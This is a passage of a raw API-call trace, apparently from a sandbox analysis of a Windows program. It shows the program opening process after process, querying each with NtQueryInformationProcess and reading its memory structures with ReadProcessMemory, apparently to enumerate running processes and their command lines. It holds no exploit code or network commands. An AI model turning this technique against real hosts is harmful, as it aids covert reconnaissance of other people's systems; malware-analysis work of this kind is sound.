returned 10 [0351.390] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x944) returned 0xa9c [0351.390] GetLastError () returned 0x0 [0351.390] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.390] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.390] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.390] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5225e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.390] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522228, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.391] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.391] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.391] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.391] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.391] malloc (_Size=0x6c) returned 0xea9220 [0351.391] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x52226c, lpBuffer=0xea9220, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9220*, lpNumberOfBytesRead=0x0) returned 1 [0351.392] free (_Block=0xea9220) [0351.392] CloseHandle (hObject=0xa9c) returned 1 [0351.392] _ui64tow_s (in: _Value=0xa64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2660") returned 0x0 [0351.392] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2660") returned 4 [0351.392] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.392] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.393] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0xa9c [0351.393] GetLastError () returned 0x0 [0351.393] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5525c0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552248, lpBuffer=0x5ec5a0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.394] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.394] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c00, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.395] malloc (_Size=0x32) returned 0xe728f0 [0351.395] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552278, lpBuffer=0xe728f0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe728f0*, lpNumberOfBytesRead=0x0) returned 1 [0351.395] free (_Block=0xe728f0) [0351.395] CloseHandle (hObject=0xa9c) returned 1 [0351.395] _ui64tow_s (in: _Value=0xad8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2776") returned 0x0 [0351.396] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2776") returned 4 [0351.396] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.396] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.397] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad8) returned 0xa9c [0351.397] GetLastError () returned 0x0 [0351.397] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.398] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.398] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.398] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.398] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.398] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.398] malloc (_Size=0x72) returned 0xea8fa0 [0351.398] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea8fa0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8fa0*, lpNumberOfBytesRead=0x0) returned 1 [0351.399] free (_Block=0xea8fa0) [0351.399] CloseHandle (hObject=0xa9c) returned 1 [0351.399] _ui64tow_s (in: _Value=0x924, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2340") returned 0x0 [0351.399] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2340") returned 4 [0351.399] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.399] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.400] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x924) returned 0xa9c [0351.400] GetLastError () returned 0x0 [0351.400] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.401] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.401] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.401] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.401] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.401] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.401] malloc (_Size=0x76) returned 0xea8e20 [0351.401] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472164, lpBuffer=0xea8e20, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0351.402] free (_Block=0xea8e20) [0351.402] CloseHandle (hObject=0xa9c) returned 1 [0351.402] _ui64tow_s (in: _Value=0xbbc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3004") returned 0x0 [0351.402] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3004") returned 4 [0351.402] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.402] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.403] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbbc) returned 0xa9c [0351.403] GetLastError () returned 0x0 [0351.403] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x14041e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403c76, lpBuffer=0x5ec5a0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.404] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.404] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.404] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.404] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403590, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.404] malloc (_Size=0x14c) returned 0xe9a2d0 [0351.404] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403d4a, lpBuffer=0xe9a2d0, nSize=0x14a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe9a2d0*, lpNumberOfBytesRead=0x0) returned 1 [0351.405] free (_Block=0xe9a2d0) [0351.405] CloseHandle (hObject=0xa9c) returned 1 [0351.405] _ui64tow_s (in: _Value=0xc1c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3100") returned 0x0 [0351.405] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3100") returned 4 [0351.405] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.405] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.406] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc1c) returned 0xa9c [0351.406] GetLastError () returned 0x0 [0351.406] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.407] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.407] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.407] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.407] malloc (_Size=0x64) returned 0xeb6230 [0351.408] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6230, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0351.408] free (_Block=0xeb6230) [0351.408] CloseHandle (hObject=0xa9c) returned 1 [0351.408] _ui64tow_s (in: _Value=0xca4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3236") returned 0x0 [0351.409] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3236") returned 4 [0351.409] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.409] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.409] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca4) returned 0xa9c [0351.409] GetLastError () returned 0x0 [0351.410] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x8040a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.425] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803be4, lpBuffer=0x5ec5a0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.426] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.426] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.427] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803520, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.427] malloc (_Size=0x11a) returned 0xe76170 [0351.427] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803c7a, lpBuffer=0xe76170, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe76170*, lpNumberOfBytesRead=0x0) returned 1 [0351.428] free (_Block=0xe76170) [0351.429] CloseHandle (hObject=0xa9c) returned 1 [0351.429] _ui64tow_s (in: _Value=0xd04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3332") returned 0x0 [0351.429] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3332") returned 4 [0351.429] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.429] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.430] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd04) returned 0xa9c [0351.430] GetLastError () returned 0x0 [0351.430] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.430] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.430] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.430] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.430] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.431] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.431] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.431] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.431] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.431] malloc (_Size=0x64) returned 0xeb6380 [0351.431] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6380, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0351.432] free (_Block=0xeb6380) [0351.432] CloseHandle (hObject=0xa9c) returned 1 [0351.432] _ui64tow_s (in: _Value=0xf20, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0351.432] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3872") returned 4 [0351.432] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.432] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.433] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) 